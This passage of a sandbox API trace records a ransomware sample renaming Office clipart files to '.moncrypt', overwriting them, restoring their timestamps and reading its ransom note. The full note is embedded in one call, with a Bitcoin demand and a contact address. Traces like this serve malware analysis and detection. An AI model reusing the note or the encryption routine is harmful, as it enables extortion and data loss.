FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.816] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.816] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.817] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.817] CloseHandle (hObject=0x188) returned 1 [0060.817] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0060.817] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.817] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.817] GlobalLock (hMem=0x440004) returned 0x550170 [0060.817] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.817] GlobalUnlock (hMem=0x440004) returned 0 [0060.818] GlobalLock (hMem=0x440004) returned 0x550170 [0060.818] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.818] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.818] GlobalUnlock (hMem=0x440004) returned 0 [0060.818] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.818] GlobalUnlock (hMem=0x44000c) returned 0 [0060.818] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.818] CharLowerBuffW (in: lpsz="AN04385_.WMF", cchLength=0xc | out: lpsz="an04385_.wmf") returned 0xc [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.819] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04385_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.819] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.819] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.819] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", dwFileAttributes=0x20) returned 1 [0060.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.moncrypt")) returned 1 [0060.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.820] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x138c [0060.821] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.821] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x138c, lpOverlapped=0x0) returned 1 [0060.823] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.823] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.823] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.823] GlobalUnlock (hMem=0x44000c) returned 0 [0060.823] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.823] GlobalUnlock (hMem=0x440004) returned 0 [0060.823] GlobalLock (hMem=0x440004) returned 0x550170 [0060.823] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.823] GlobalUnlock (hMem=0x440004) returned 0 [0060.823] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.823] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x13a0, lpOverlapped=0x0) returned 1 [0060.824] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.824] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.856] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.857] CloseHandle (hObject=0x188) returned 1 [0060.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.858] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.859] CloseHandle (hObject=0x188) returned 1 [0060.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.860] GlobalLock (hMem=0x440004) returned 0x550170 [0060.860] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.860] GlobalUnlock (hMem=0x440004) returned 0 [0060.860] GlobalLock (hMem=0x440004) returned 0x550170 [0060.860] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.860] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.860] GlobalUnlock (hMem=0x440004) returned 0 [0060.860] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.860] GlobalUnlock (hMem=0x44000c) returned 0 [0060.860] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.861] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.861] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.861] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.861] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.861] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.862] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.862] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.862] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.862] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.862] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.862] CloseHandle (hObject=0x188) returned 1 [0060.862] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0060.862] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.862] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.862] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.862] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.862] GlobalUnlock (hMem=0x44000c) returned 0 [0060.863] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.863] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.863] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.863] GlobalUnlock (hMem=0x44000c) returned 0 [0060.863] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.863] GlobalUnlock (hMem=0x440004) returned 0 [0060.863] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.863] CharLowerBuffW (in: lpsz="BABY_01.MID", cchLength=0xb | out: lpsz="baby_01.mid") returned 0xb [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.864] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", cchWideChar=62, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MIDr", lpUsedDefaultChar=0x0) returned 62 [0060.864] CharLowerBuffW (in: lpsz=".MID", cchLength=0x4 | out: lpsz=".mid") returned 0x4 [0060.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mid", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".midT\\PUB60COR\\BABY_01.MIDr", lpUsedDefaultChar=0x0) returned 4 [0060.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 0x54e240 [0060.864] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.864] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.864] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", dwFileAttributes=0x20) returned 1 [0060.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.moncrypt")) returned 1 [0060.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.875] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.875] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: 